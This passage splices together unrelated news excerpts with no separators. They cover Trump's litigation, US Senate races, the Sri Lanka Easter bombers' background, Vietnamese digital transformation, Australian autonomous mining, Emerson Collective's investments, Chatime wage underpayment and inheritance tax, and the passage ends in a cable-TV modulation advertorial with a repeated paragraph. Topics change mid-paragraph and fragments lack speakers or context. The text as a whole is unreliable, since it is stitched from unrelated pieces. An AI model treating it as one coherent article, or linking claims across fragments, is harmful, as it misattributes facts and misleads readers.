enemies, a tool of public persuasion and a tactical weapon of delay and distraction. From his meteoric rise in the Manhattan real estate development business through his string of bankruptcies in the casino hotel business, Trump has turned to the courts more than any other future president, having been involved in more than 4,000 lawsuits himself and through his businesses, according to a database assembled by USA Today. An even bigger stretch for Democrats is Texas, where Republican Sen. John Cornyn is seeking a fourth term. Former congressman Beto ORourke, who nearly knocked off GOP Sen. Ted Cruz last year, opted to seek the presidency instead of mounting a second Senate run. Democratic Rep. Joaquin Castro is expected to announce soon whether he will run, but it remains to be seen whether he or MJ Hegar, who entered the race this month after a strong but unsuccessful 2018 House campaign, can generate a fraction of the enthusiasm ORourke did. After initially indicating that the hacked email was the basis for its claim against CAP, a Sanders campaign aide later said that was not the case. The aide pointed to news reports about a 2015 CAP publication analyzing the economic impact of a $10.10-an-hour wage, which did not mention or oppose a $15 wage, and Tandens vote against a measure to aggressively push for $15 in the 2016 Democratic Party platform. The platform she voted to support ultimately did call for a $15 wage. Now, both Sanders and CAP agree on the figure. Fairfax County police in 2012 investigated the mans claim that there had been sexual activity between him and Specht. Asked what happened to the probe, Commonwealths Attorney Ray Morrogh said police were unable to clarify when the alleged activity would have taken place whether the man was 14, 15 or 16 at the time. If he was 14 or 15, that would have been a felony and the statute of limitations would not have expired. If he was 16, it would have been a misdemeanor and the statute would have expired. We worked with the victim and werent able to clarify the date, Morrogh said. Sudan has experienced waves of protests in the past but none as powerful as the ones that continue to swell here. While women may not outnumber the men at the current sit-in, they chant just as loud and know all the words to the protest music that blares from speakers. Women draw up banners, paint protesters faces and bring their daughters into the middle of the revelry. The Belt and Road has most certainly been a learning process, said Zha Daojiong, a professor at the Institute of South-South Cooperation and Development at Peking University. Some scaling back is normal. The scale including the number of entities that formally subscribe to the initiative is less significant than the quality of the projects. A police spokesman said Friday that police forces had raided a house in Sammanthurai, a town on the east coast, and that after a gun battle they seized an Islamic State flag, explosives and clothes they said may have belonged to some of the Easter suicide attackers. It was not immediately clear who had been inside the house or whether any occupant had been killed. Police said the clothes matched those worn in a video that the attackers posted online before the bombings. What pushed Hashim to flee Kattankudy was a clash between his supporters and followers of a prominent Sufi cleric. Sufism is a form of Islamic mysticism that is frequently targeted by ultraconservatives. In March 2017, a fight broke out between the two groups in which some were armed with knives and metal rods. At least eight people were arrested; by the following day, Hashim and one of his brothers had disappeared. Maybe we should all just busy ourselves with other tasks, but of course we will not. And in Britain, at least, the birth of a royal has long been a cause for celebration. But while he was sparring with Trumps allies, the deputy attorney general was also maintaining the kind of workplace diplomacy that wins bosses favor. He frequently called and wrote letters to White House aides when they were in the news, or when they celebrated their birthday, people familiar with the matter said. He was recently spotted hugging the presidents personal assistant and other aides at the annual Gridiron Club dinner, and on Monday he was photographed at the White House Easter Egg Roll, waiting in line to greet one of the presidents closest advisers, Kellyanne Conway. Rosensteins speech, probably one of his last as a senior Justice Department official, marked his first public comments since the release of the report, and he did not hold back in discussing his tumultuous two years as the No. 2 at the Justice Department. During that time, he was castigated by both Republicans and Democrats for a variety of decisions. In the speech, Rosenstein reflected on his time on the job, spoke positively of Trumps commitment to the rule of law and criticized the press. The origins of the treaty, which sets out international rules for sales and transfers of everything from small arms to large planes and ships, dates to the George W. Bush administration. The agreement was negotiated under the auspices of the United Nations and signed in 2013 under President Barack Obama but has never been ratified by U.S. lawmakers. The patrols would be an additional task for U.S. forces in Syria, whose numbers are due to be cut by more than half, to about 1,000, in the coming months. Britain and France, whose forces continue to participate in the U.S.-led counterterrorism mission against Islamic State remnants, have rejected an American request to contribute to what will be a buffer between the Kurds and Turkey. Ankara considers the Kurds to be terrorists. Key survival issue Currently, digital transformation is taking place worldwide. According to a recent survey by International Data Group, nearly 90% of businesses have started their conversion with different steps, from research to implementation. More than 30% of business leaders surveyed considered digital transformation a vital issue, confirming the immediate effectiveness brought about by digital transformation in many aspects: superiority in customer understanding, increased productivity, ensuring competitive prices and speeding up creativity. If enterprises and organisations are slow in shifting, it will lead to consequences such as inferior labour productivity, decision-making delays, a lack of sensitivity to seize opportunities and not being closely associated with customers. In fact, there are large enterprises with a development history of hundreds of years but have not caught up with "digitalisation", or have the desire to transform but have not succeeded, have lagged behind, even at risk of going to bankruptcy like GE or Sears. Meanwhile, many businesses, thanks to the rapid implementation of digital transformation, have achieved outstanding results, such as the case of Dupont, a pioneering model for using technologies to create business strengths. Dupont is at the forefront of using Office 365 to replace outdated Lotus Notes, and is also the first company to launch an e-commerce model that helps reduce costs and improve customer services in Brazil, Singapore and more than 20 other countries worldwide. With a clear and integrated digital conversion strategy, Dupont has saved over US$1.6 billion in IT costs, generated an 80% reduction in order processing time, and brought about billions of US dollars in benefits. Vietnam ready for digital transformation In the context of the strong development of digital transformation, the Government, organisations and enterprises in Vietnam have actively embraced and positively participated in activities so as not to miss the train of the fourth Industrial Revolution (IR4.0). The Government of Vietnam is promoting digital economic development through a series of policy mechanisms, and in particular these policies have recently been reinforced by the Prime Minister's Directive No. 16/CT-TTg on increasing strong access to the IR4.0. Currently, digital transformation appears in all areas, from trade, finance - banking to health, education, tourism and transportation. Surveys of 180 agencies and enterprises attending the Vietnam ICT Summit 2018 showed that Vietnamese businesses have quickly grasped the issues related to digital transformation. An official of Quang Ninh Public Administration Centre instructs a citizen on how to use level 3 online public services. (Photo: NDO/Nguyen Hue) IT companies such as FPT, Viettel and VNPT have made strong investments to develop core technologies of digital transformation, including artificial intelligence, big data analytics and cloud computing. "We ready and confident to conquer the peak of digital transformation, looking to become the leading companies in digital transformation consultancy, such as Accenture or Deloitte DX, to once again bring Vietnam to the same level with global technology powers, Truong Gia Binh, Chairman of FPT's Board of Directors, announced at the 2019 FPT shareholders' meeting recently held in Hanoi. Not only technology companies but also enterprises in many different fields have quickly taken the initial steps in digital transformation and gained positive initial results. Consumer finance company FE Credit is an example. In the context that consumer loans are still handled through a manual process with multiple steps, often taking 4-5 days, FE Credit has applied a digital loan platform named "$NAP", which is a fully automated programme providing a complete and closed lending process without human intervention. This platform helps shorten the entire loan process to only 10-15 minutes, making guests to be disbursed within a few hours. As a result, in just two months after deployment, the number of loan registrations and loans disbursed through the $NAP application increased by an average of 280%. In addition, thanks to artificial intelligence algorithms and in-depth data analysis in the customer verification process, FE Credit has succeeded in capturing the needs of customer segments that have not had access to banking services. In the field of digital government, some localities have also experienced strong movements, of which Quang Ninh is a typical example. With the successful implementation of its e-government system, Quang Ninh has saved time and reduced administrative costs for State administrative agencies worth about VND50 billion. 100% of administrative procedures are received, solved and computerised on the network environment. The operation of 15 public administrative centres across the province have fundamentally changed the image, environment and the way public servants interact with local people and businesses, thus helping reduce more than 40% of the travelling time and the number of visits and transactions for them, saving average social costs of more than VND70 billion per year. In November 2018, Quang Ninh became the only representative of Vietnam to be honoured by the Asian-Oceanian Computing Industry Organisation 2018 Awards in the Digital Government Award for its e-Government development. The immediate objective that Quang Ninh is aiming for is to digitise, focus and share data, thus saving time for its people. With that rapid change, along with the great benefits, it can be seen that digital transformation is no one's story but an inevitable trend in the world, in which, if enterprises, organisations or individuals do not quickly grasp the opportunity, the possibility of being left behind will be inevitable. To promote digital transformation and take advantage of IR4.0, experts recommend that each industry, sector and enterprise needs to focus on building digital transformation strategy, in which, in the immediate future, it is necessary to change the way of thinking and the appropriate approach to suit the new situation. According to FPT, digital transformation in organisations and businesses is a process of changing from traditional models to digital, by applying new technologies, such as artificial intelligence, big data analytics, Internet of things and cloud computing. Digital transformation helps change the way of operation and management, thereby, the efficiency and competitiveness of organisations and businesses are enhanced. So how far away could Australia, considered a global leader in the use of autonomous technology, be from a fully robotic mine? According to Yeates, an industry consultant, geologist, director of the co-operative research centre known as CRC Ore, and a former head of technology strategy for BHP, it could be reached in five years. Autonomous trucks at Rio Tinto's West Angelas mine. Credit:Christian Sprogoe Leading edge A range of factors has led to iron ore operations in WAs Pilbara region being at the leading edge of this mining revolution. This includes the huge size of the mines, the scale of equipment and the repetitive nature of some of the work. Then there's the areas remoteness - at 502,000 square kilometres it is more than seven times bigger than Tasmania - which can sometimes make recruiting staff a challenge, and the risks when humans interact with large machinery. The type of mines in the Pilbara is also a factor. The regions iron ore mines are "surface" rather than underground mines, which means autonomous machinery can be caught on camera, which in turn can be viewed easily by white-collar staff in urban operations centres overseeing the equipment. Autonomous iron ore trains are travelling hundreds of kilometres on each journey. And then there's the financial imperatives. The ongoing push by the mining heavyweights to be more productive and more efficient is another powerful driver to embrace autonomous technology. Iron ore generates a lot of money for the major miners. The three biggest producers (Rio Tinto, BHP and Fortescue) booked underlying earnings before interest, tax, depreciation and amortisation (EBITDA) of more than $23 billion between them in their latest financial year, from iron ore operations alone. But the autonomous machinery doesn't come cheap: Rio's autonomous trains have a price tag of $940 million. And the big three miners are big taxpayers, together paying more than $15 billion in taxes and royalties during that financial year, making them major contributors to government coffers. After it leaves the desert remoteness, the iron ore is shipped to countries like China (easily the biggest buyer), Japan and India, where it becomes a key ingredient in steelmaking. Rio, BHP and Fortescue produce almost 800 million tonnes of iron ore between them in a year. Trucks with 'smarts' So what does autonomous mean in a mining operation, and how does an autonomous truck move around? There isn't a human in the cabin, or a person controlling the truck every second remotely with a joystick. Digital revolution: Unmanned mines are now seriously on the agenda. Illustration: Joe Benke Credit: Instead, the truck is loaded with ore by a human loader operator, who then gives the truck its destination. The truck knows where to go because of information about routes that are programmed by staff in a far-away operations centre. The truck, which has a range of sensors that help it navigate, then drives itself to its destination. According to observers, the vehicles - which can travel at speeds of up to about 60 kilometres per hour - are very good at keeping their distance from one another, never forming a compressed conga line while en-route to their destination, which could be many kilometres away. Theres no doubt that Australia is well ahead of the rest of the pack. Steve McIntosh, Rio Tinto The trucks have enough "smarts" on board, according to Yeates, to detect objects like other pieces of machinery in their path, and steer around them. They know to slow down when travelling around a corner, change down gears when going uphill, and to keep their distance from the truck in front. Then, when the truck unloads at its destination, staff in the operations centre direct it precisely where to unload. Ahead of the pack Steve McIntosh, Rio Tinto group executive, growth and innovation, says Rio started working with the University of Sydney in the late 1990s on automation. "In mining theres no doubt that Australia is at the lead, and has been for some time. What we need to do ourselves as Rio Tinto, and the rest of Australia, is make sure that we maintain that lead," he says. "Because we went early in building capability, systems, platforms, operating centres, theres no doubt that Australia is well ahead of the rest of the pack." We are on track to become the first iron ore operation in the world to have a fully autonomous haulage fleet in the first half of 2020. Elizabeth Gaines, Fortescue CEO And McIntosh says there will be more automation in Australian mining over the next decade. "How widespread that is will depend on the complexity of each operation. Automation may not be suitable in every situation, or in every part of the value chain and when we do automate equipment, well still need people in our operations," he says. "The concept of a fully autonomous mine is a bit of a misleading term, because the more technology we put into the field, the more we will need people to deploy, maintain and improve it. "So, while we are creating technologically-advanced operations, where more repetitive tasks or those that pose a threat to safety are automated, the human element to how we operate remains, just in different forms," McIntosh says. Rios autonomous equipment is monitored from a control centre next to Perth Airport. The centre, likened to "NASA mission control", is about 1500 kilometres from the mines. "What automation and the digitisation of the industry is doing is creating a need for different jobs such as data scientists and engineers in mechatronics, automation and artificial intelligence. Its why our reskilling and retraining programs for our people are so important," McIntosh says. Across the Pilbara iron ore industry, the total workforce is estimated at more than 25,000 people. Jobs in focus Australian minings journey towards automation has been a long one, with autonomous trucks introduced to the Pilbara more than a decade ago. Today, the investment continues. Fortescue has a fleet of 112 driverless trucks, and a program to convert its manned trucks to autonomous. FMG says its autonomous fleet has delivered a 30 per cent improvement in productivity. "We are on track to become the first iron ore operation in the world to have a fully autonomous haulage fleet in the first half of 2020," says Fortescue chief executive Elizabeth Gaines. At BHPs Jimblebar operation in the Pilbara there are 50 autonomous trucks, and it has 20 autonomous drills across its WA iron ore operations. Over the past five years, BHP has increased its investment in technology innovation five-fold. In a recent speech, BHPs vice-president of technology global transformation, Rag Udd, moved to reassure people about the impact of automation on jobs. Udd said autonomy and robotics presented opportunities to make mining more sustainable and safer, while giving employees a career that was "even more fulfilling and even more rewarding". Udd, who is also the president of the Queensland Resources Council, said adopting robotics and autonomy would make Queensland stronger economically. FMG chief executive Elizabeth Gaines. The miner says its autonomous fleet has delivered a 30 per cent improvement in productivity. Credit:Trevor Collens "Let me make this very clear this is not a one-way conversation about fewer jobs. Its a plan for safer jobs, for redesigned roles and for creation of entirely new ones," he said. Nevertheless Greg Busson, state secretary of CFMEU Mining and Energy Western Australian division, has reservations about the rise of autonomous technology. "I think it is a big worry," he says, in particular citing the potential impact on remote Pilbara communities as automation spreads further. "How do these remote communities survive when the jobs go out of their community?," he says. Busson acknowledges that the world advances, but urges miners to consider how the move to autonomous operations affects their workforce. He also says that increased autonomous operations gives big miners "a huge saving on the company's wages bill". Busson says he's hearing more and more talk of autonomous operations spreading further. Yeates says autonomous operations are "not as widespread as you'd imagine" in other areas of Australian mining. "We still havent got anywhere where its integrated as an automated mine," he says. Jarvas Croone, chief executive of Caterpillar dealer WesTrac, predicts that "the next thing we'll see automated is water carts. It's a stepping-stone process." The "water carts" he refers to are trucks that are currently driven around the mines by humans, spraying water to suppress dust. Attracting new types of professionals Stephen Durkin, chief executive of the Australasian Institute of Mining and Metallurgy, says the adoption of automation and other technology is enhancing health and safety in the industry. "It has led to the elimination of a number of high-risk roles." BHP and Rio are running autonomous trains on their iron ore railways. He also acknowledges the role that autonomous machinery is playing in helping miners "unlock" productivity and efficiency gains. "For instance, autonomous machinery can be operated around the clock, and that therefore reduces costs," he says. "What I do strongly believe from a workforce planning point of view, is that a lot of people mistakenly think that automation will lead to a loss of jobs. They see it in a very binary way. "We see it quite differently to that. We see automation driving a more productive and efficient and safer industry that will support the industry to grow. And we think as the industry grows it will employ more people. "But it will employ different types of people with different skills. We see an entirely new cohort of professionals across a range of disciplines entering the resources sector over the next decade." Where Levine sees secrecy, Powell Jobs and her team see flexibility. "Our investments are one of many tools we use to advance Emerson Collective's broader mission," managing director Steve McDermid, a former corporate development partner at venture firm Andreessen Horowitz, wrote in an email. "We evaluate opportunities based on the potential to advance solutions to some of the most pressing issues-including helping students thrive, advancing breakthrough cancer treatments, protecting the planet and investing in a strong and independent media." Emerson also hasn't eschewed the charity model completely. Several organisations affiliated with Emerson, including secondary-education adviser XQ Institute and violence-prevention project CRED, operate as nonprofits. Powell Jobs's company was an early investor in Pinterest. Credit:Bloomberg As for its for-profit activities, Emerson has invested in more than 20 companies in since the beginning of 2017, according to PitchBook. It's not uncommon for the philanthropic firm to join respected VCs such as Sequoia Capital as co-investors. And over the last few years, the pace of investment, as well as the size of deals Emerson is involved in, has grown substantially. The idea behind those investments isn't to reap a huge return, Powell Jobs has said. She declined interview requests for this article. Instead-as may be fitting for a member of the Jobs family-the goal is to help push along companies that have the potential to transform industries, or the world. Powell Jobs founded Emerson Collective in 2004, naming it after transcendentalist writer Ralph Waldo Emerson. For its first decade it made few investments. Gradually it began staffing up. Her team now includes her brother, Brad Powell, as the managing director of investments, as well as her son, Reed Jobs, who oversees Emerson's health portfolio. In 2016, Emerson brought on Peter Lattman, former deputy business editor at the New York Times, as managing director of media. Another key hire that year was Andy Karsner, former assistant secretary of energy under President George W. Bush, as managing partner. The following year, Emerson stepped up its startup investing, backing more than 10 different companies, according to PitchBook. One of those was Neighborly, run by founder Jase Wilson. When Wilson learned he would be meeting with potential investors at Emerson Collective, he almost panicked. Never mind that he already had a list of backers that included A-list actor Ashton Kutcher-it was Powell Jobs that made him sweat. Wilson, who comes from a small town in Missouri, waxes poetic about Powell Jobs's goals of helping lift people from hardship and disenfranchisement, which mesh with his own. The meeting, he says, "was a dream come true." At his pitch, Wilson said Powell Jobs asked pointed questions about his business, which helps individual investors buy bonds to fund infrastructure projects like fiber broadband. She also suggested that his data team include long-term weather predictions from the National Oceanic and Atmospheric Administration when evaluating future projects. "She's insanely, insanely bright," Wilson said. Though Emerson has a large and well-credentialed staff, entrepreneurs who have pitched the group say Powell Jobs remains deeply involved in the process, and shows keen interest in the details. Philip DeSimone, co-founder of 3D printing startup Carbon, which Emerson backed in 2017, recalls Powell Jobs examining pieces of a chess set that Carbon printed out, figure by figure, during their second meeting. She also showed up at an event wearing a pair of sneakers the company had printed just for her. Laurene Powell Jobs with her late husband Steve Jobs in 2011. Credit:Bloomberg Many entrepreneurs, though, were hesitant to speak openly about their famously private patron. "They haven't given me permission to talk about our relationship," said Ryan Chin, chief executive officer of Optimus Ride, a self-driving car company backed by Emerson. A representative from Emerson later clarified that he didn't need permission, and Chin followed up to say Optimus appreciated Emerson's "broad view." Responding to questions about Powell Jobs, Emerson and its investment philosophy, Jim Connaughton, CEO of floating-data centre startup Nautilus Data Technologies, said, "You should get those details from them." Like much of the venture industry last year, Emerson Collective had at least a peripheral brush with scandal. After the brutal killing of journalist Jamal Khashoggi in a Saudi Arabian consulate, NBC's Dylan Byers noted in the wake of Khashoggi's death that former Citigroup executive and top Powell Jobs adviser Michael Klein, who has known Powell Jobs since their days as classmates at the University of Pennsylvania, also served as an adviser to Saudi Arabia's Public Investment Fund. Saudi Crown Prince Mohammed bin Salman, chairman of the fund, has denied any sanctioned governmental involvement in the murder. In other ways, Emerson is still very much unlike a typical venture firm. For one, it has rushed headlong into the old-world media industry, including Hollywood. Emerson invested in Anonymous Content, the production and talent-management company behind the Oscar-winning movie Spotlight. It also backed Macro, which makes movies with filmmakers from diverse backgrounds, and Reese Witherspoon's Hello Sunshine, which focuses on female storytellers. Loading On the news side, Emerson has become something of a white knight for the struggling journalism industry. Beyond its stake in the Atlantic, it backed other outlets such as Axios and Ozy Media. In November, it acquired the publisher of Pop-Up Magazine, known for its live touring show, and California Sunday Magazine, known for feature stories and photography. (Bloomberg Beta, the venture capital arm of Bloomberg LP, was also an investor in the group.) Powell Jobs has said she finds the demise of local news particularly troubling. That concern prompted Emerson to not just take stakes in media organisations but to donate to nonprofits like the Marshall Project, Mother Jones, the Texas Observer, ProPublica and the American Journalism Project, which is creating a fund to rebuild local coverage. At a recent Recode conference, she said that local news was 'under attack' and 'we should think about it as a civic good, a public good, that should be supported by public and private entities.' As a media steward, Powell Jobs is said to have a light touch. 'She is totally hands-off," Jim VandeHei, Axios co-founder and CEO, wrote in an email. She "listens really intently and asks great questions," said Doug McGray, the co-founder and editor in chief of Pop-Up Magazine and the California Sunday Magazine. But she also thinks strategically about the industry. "A colleague presented an arrestingly ambitious objective for the Atlantic ten years out," David Bradley, chairman of Atlantic Media, wrote in an email. Then, "Laurene asked: 'Why not five years? Ten years is too long; the world changes too much. Can we try it in five?'' Bradley said she also helped him along in his cultural education when she took some Atlantic staffers to see rock star Bruce Springsteen's Broadway show. During the performance Bradley whispered to Powell Jobs, a New Jersey native like Springsteen, that he was put off by the audience's shouts of "boo, boo." "She corrected me," he recalled. The audience was yelling "Bruuuce," she told him. It only sounded like booing to the untrained ear. The popular view of infrastructure is that we dont have nearly enough of the stuff, so the more we spend the better for the economy. The sad reality is that every year huge amounts of taxpayers money is wasted on infrastructure and much of the damage is begun in election campaigns. This is not to deny that well-chosen and executed infrastructure projects contribute significantly to improving the productivity of the economy its ability to produce more goods and services per unit of inputs of economic resources. Illustration: Matt Davidson Credit: It may even be true that we have a backlog of projects we should be getting on with. But that doesnt mean were not wasting a shedload of money mainly by building the wrong things in the wrong places. Sadly, in our messy world, shortages of infrastructure can exist side by side with waste and extravagance. The more money we waste, the bigger the shortages. The investigation revealed that the ombudsman launched an investigation into Chatimes head office in 2017 and in late 2018 it wrote a letter that was damning. It found at least 150 workers had been underpaid in Chatimes corporate stores, which are owned and operated by head office. The Chatime operation in Australia is run under the umbrella of a company called Infinite Plus. The ombudsman requested Infinite Plus repay the Chatime workers more than $170,000. But it didnt publicise the investigation, penalise the company or take action against any officers. Furthermore, the audit period covered was August 2016 to December 2016, which is a narrow range given underpayments have gone on since it opened in 2009. If the ombudsman had gone back further it would have found millions of dollars more in underpayments. For now, those underpaid workers wait in hope that the company or the ombudsman will call for a review, similar to 7-Elevens compensation scheme launched in 2015 after a scandal erupted which found workers had been underpaid. Two of the directors and shareholders of Chatime in Australia were also directors and shareholders of another company the ombudsman investigated for underpayment issues. It found that company, Bakery Venture, which operated a string of bakeries, underpaid its workers to the tune of $350,000. Again the ombudsman didnt penalise any entity or take action against any individuals beyond securing backpay. In both cases the ombudsman didnt issue a press release, which meant the companies and the issues escaped the public glare. The ombudsman says its Chatime investigation is ongoing and in terms of Bakery Venture, it says it is part of the East Coast Retail, Hair and Beauty Audit Campaign. A report on that campaign will be released at a later date and include the company. A Chinese worker told me the market rate for students on visas was $10 an hour. Time will tell. What is known is the ombudsman was quick to issue a press release against a small time former Chatime franchisee operating in Sydneys George Street, in April. In that press release it named and shamed the franchisee and the two directors, for their alleged involvement in the underpayments. It also instigated legal action in the Federal Circuit Court for the employees to get their back pay. It stated that the maximum penalty for each contravention was $63,000. That case was over $46,000 in wage underpayment. Loading Most workers at Chatime are Chinese or Tawainese students on visas. A Chinese worker at Chatime said they are preferred over Australian workers because it is easier to underpay them and threaten them with a breach of visa conditions if they speak up. He told me the market rate for students on visas was $10 an hour. In the case of Chatime, underpayment happened at the corporate stores from 2009 until March 2017 when it bit the bullet and started to pay the proper award, penalties and other payments. But the same cant be said for its franchise network. Underpayment continues today despite head office introducing a payroll system, Deputy, in August 2017. There will be more heard about that in coming days. Chatime declined to comment in detail on the allegations. In a statement it said: "We do not propose to comment or otherwise correct any of the assumptions you have made (some of which are erroneous), as it would be inappropriate to comment on matters that may be under investigation by a regulator, potentially compromising not only confidentiality but the integrity of an investigation." It is a sad indictment on this country that underpayment issues and franchisees complaining of indentured servitude have gone on so long. There are myriad reasons and too many times weak regulation is part of the problem. Caltex franchisees tipped off they were going to be raided by the regulator. Credit:Jonathan Carroll In the case of Caltex, a letter sent to me in 2016 revealed that the ombudsman gave advance warning to head office that it was going to raid its service stations, amid allegations of intimidation and rampant underpayment issues. Caltex passed the information onto its franchisees. At the time the ombudsman said it had alerted Caltex "in order to promote compliance across the Caltex network" and to "encourage Caltex to message its entire network that it could expect a site visit by the Fair Work Ombudsman". Loading It is akin to the police alerting criminals they are about to raid. It invites in a cover up and that's what happened. Even with the warning the ombudsman found rampant underpayment. But the problem is many workers never got repaid. The ombudsman also needs to rethink the deals it does with companies - known as proactive compliance deeds - as they have created a cosy relationship between the regulator and the regulated. In the case of Dominos a 2014 proactive compliance deed included an agreement for the company to see and suggest changes to the ombudsmans press releases 24-hours in advance, it also stipulated that these media statements had to reflect "the positive co-operation of Dominos". If there was a friendless orphan of a tax proposal in Australia's political debate, an inheritance tax would be it. Bill Shorten and Chris Bowen have labelled as "false news" claims from the Coalition they are considering death duties, and demanded Facebook pull down posts from conservative groups that allege the ALP is coming for voters' inheritances. Death duties - a class of tax abolished in 1984 but which is now back in the political debate Credit:Unknown A fake Tweet from ACTU secretary Sally McManus claiming Labor's national conference had endorsed such a tax was circulated as "proof" that not only would the ALP tax voters from birth into retirement but also into the great beyond. But the furore over the fake plans ignores the global debate that is going on around a group of taxes that are part of most nations' suite of revenue raising measures. Standing among seven masked men in black, Zaharan is the only one with his face exposed. Sri Lankan investigators believe that eight suicide bombers carried out the attacks on the hotels and mosques Sunday, one of the bloodiest assaults ever claimed by IS. The minaret of the mosque where the accused mastermind of Easter Sunday attacks worshipped. Credit:Adam Dean/The New York Times On Thursday investigators said they believed Zaharan was one of the two suicide bombers who targeted the Shangri-La Hotel in Colombo, the Sri Lankan capital. (The police have also identified him as Mohammed Zaharan.) Muslims in Kattankudy said they had repeatedly contacted the police to warn that Zaharan was dangerous, but that the authorities played down the threat. Adding to questions about the government's competence, the Sri Lankan authorities have vastly revised their earlier count of fatalities, saying that about 250 people had been killed as a result of the bombings, not 359. One of the targeted churches where more than 20 people were killed, many of them children was in Batticaloa, a religiously mixed city just to the north of Kattankudy. "I cannot digest this, even if it was done by my own brother," said Madaniya, Zaharan's sister, who lives in Kattankudy and who goes by one name. "I strongly condemn this." Growing up in Kattankudy, an oasis of Islam on a majority Buddhist island with significant Hindu and Christian minorities, Zaharan's religiosity was unremarkable. Most houses here have a picture of Mecca on their wall, and road intersections are decorated with golden monuments in Arabic. I cannot digest this, even if it was done by my own brother. Madaniya, Zaharan's sister. Zaharan and his brothers were sent by their father, a small-time seed and spice seller, to a madrassa, where teachings adhered to a strict interpretation of Islam. But even as he impressed with the fluency of his Koranic recitation and easily made friends, Zaharan confronted his teachers and accused them of failing to adhere to true Islam. Like other Kattankudy youth lured by new overseas fashions, he had come under the spell of foreign preachers whose sermons were being passed around town by DVD, said MBM Fahim, one of his classmates and now a lecturer at the same madrassa. "He spread misinformation about us," Fahim said. "He said the school should close because it was teaching the wrong way. He was just a student and he was saying like this." Zaharan was kicked out of school. He enrolled at another Islamic college but never graduated, his acquaintances said. Still, by listening to the sermons of charismatic but extremist preachers based in India and Malaysia, Zaharan was homing his oratory. Men pray in the Badhiriy Yah Jumah Mosque. in Kattankudy, Sri Lanka. Credit:Adam Dean/The New York Times "He was a very good talker and a good researcher of how Islam was developing worldwide," said MLM Nassar, an administrator of a Kattankudy mosque federation. Zaharan was unafraid of taking on the powerful, a rarity in a society bound by respect for those richer or older. "He would criticise big shots, he would criticise anybody," said Marzook, a former politician. "People were attracted to his lack of fear." After getting ejected from serving as imam of one mosque for his extremist views, Zaharan started a group in 2014 called National Thowheeth Jamaath or NTJ, which drew from the austere Wahhabi tradition that claims to follow the faith as practiced in the age of its founder, the Prophet Mohammed. Zaharan preached that the Sri Lankan national flag was a worthless piece of cloth, and that the country should be ruled by Shariah law an unlikely outcome in a country where only about 10 per cent of the population is Muslim. Men drive past a mosque where Zaharan Hashim used to preach in Kattankudy. Credit:Adam Dean/The New York Times "My impression was that it was preoccupied with outflanking other Wahhabi groups to attract Middle Eastern funding," said Gehan Gunatilleke, a researcher who wrote about National Towheed Jamaat last year. "It was focused on symbolism and rhetoric." Zaharan founded his own mosque with funding from India, according to members of a Kattankudy mosque association, even though Zaharan's mosque never received official religious certification. Still, an Islamic school dropout with an unlicensed mosque was gaining followers in Sri Lanka and beyond. Last year, Indian security officials investigating what they said was an Islamic State cell in southern India reported that one of the suspects they had arrested said he had been inspired to join the group after watching Zaharan's videos. He would criticise big shots, he would criticise anybody. People were attracted to his lack of fear. Marzook Ahamed Lebbe, former Sri Lankan politician But another of the IS suspects in southern India, Ashiq, 25, is out on bail and rejects the notion that Zaharan's sermons were anything more than a guide to the Koran and Islamic law. "They preach that Islam is good," he said. "What is wrong with that?" Shortly after IS began fighting to create a global caliphate, Zaharan praised the group's murderous campaign. Whether Zaharan found IS or IS found him, they seemed inextricably drawn to each other. In other places, like Indonesia and the Philippines, IS has been adept at taking Islamic radicals with local grievances and enlisting them in the global slipstream of terror. By 2017, Zaharan and his followers were targeting a Sufi sect in Kattankudy, accusing its members of being infidels, even though Sufis are fellow Muslims who practice a mystical form of the faith. After the Sufis in Kattankudy handed out packets of rice to the poor, an action that Zaharan regarded as trying to buy hungry converts, he grabbed a sword and charged the crowd. We warned them that this man was vehemently spreading Wahhabism and that he was calling for jihad...Nothing was done. HM Ameer, Sufi community member The police said they tried to arrest Zaharan and one of his brothers, but they escaped. About 10 of his followers were detained, however, including his father and other relatives. Surprisingly for a small group from a distant part of Sri Lanka, the detained members of National Towheed Jamaat managed to get a high-profile lawyer from Colombo to represent them. Loading HM Ameer, a member of the Sufi community, said that he and other Sufis had repeatedly contacted the police to warn about Zaharan's extremism. They sent a thick file to Colombo. But there was little result, Ameer said. His assessment echoed complaints from recent days that Sri Lankan authorities failed to act on repeated warnings from overseas intelligence agencies about Zaharan planning a catastrophic attack. On Thursday, Sufis in Kattankudy received a warning from the Sri Lankan criminal investigation department that their holy places might be targeted Friday by militants associated with Zaharan who are still on the run. Looking out on soldiers guarding the Badhriyyah Jumah Mosque where he and other Sufis worship, Ameer shook his head. "We warned them that this man was vehemently spreading Wahhabism and that he was calling for jihad," he said. "It was out in the open, clear as day. Nothing was done." Business Analog and Digital Modulation in Communication Systems | Soukacatv.com Adjacent Channel 16 In 1 Analog Headend For Hotel Cable TV System 26.04.2019 09:33:51 - Modulation is a process in which a modulator changes some attribute of a higher frequency carrier signal proportional to a lower frequency message signal. (live-PR.com) - Modulation Basics Modulation is a process in which a modulator changes some attribute of a higher frequency carrier signal proportional to a lower frequency message signal. If the carrier is represented by the equation Figure 1. Carrier Signal Equation a change in the message signal will produce a corresponding change in either the amplitude, frequency, or phase of the carrier. A transmitter can - Modulation BasicsModulation is a process in which a modulator changes some attribute of a higher frequency carrier signal proportional to a lower frequency message signal. If the carrier is represented by the equationFigure 1. Carrier Signal Equationa change in the message signal will produce a corresponding change in either the amplitude, frequency, or phase of the carrier. A transmitter can then send this carrier signal through the communication medium more efficiently than the message signal alone. Finally, a receiver will demodulate the signal, recovering the original message. HDMI Encoder Modulator,16in1 Digital Headend, HD RF Modulator at Soukacatv.com SKD3013 3 Channel HD Encode Modulator SKD19 Series 1U Rack 12CH Encode Modulator Household Universal Encoding & Modulation Modulator SKD121X Encoding & Multiplexing Modulator In Amplitude Modulation (AM), pictured below, the amplitude of the carrier sinusoid changes based on the amplitude of the message. Figure 2. Amplitude Modulation The message signal (red) rides on top of the carrier as the amplitudes of both vary with time. The frequency of the carrier, however, is much higher than the frequency of the message. This carrier frequency is the center of the 'channel,' or frequency allocation of this RF signal. Frequency allocations vary depending on the medium of transmission. For broadcast transmissions, where signals are sent through the air, the government regulates frequency allocation. If the RF signal is transmitted over wire, such as in cable television, there is more freedom in the choice of carrier. In addition to amplitude modulation, frequency modulation varies the frequency of the carrier sinusoid based on the amplitude of the message signal. Similarly, phase modulation changes the phase of the carrier in response to a change in amplitude of the message. Digital Modulation Digital modulation is similar to analog modulation, but rather than being able to continuously change the amplitude, frequency, or phase of the carrier, there are only discrete values of these attributes that correspond to digital codes. There are several common digital modulation schemes, each varying separate sets of parameters. The simplest type is called On Off Keying (OOK) where the amplitude of the carrier corresponds to one of 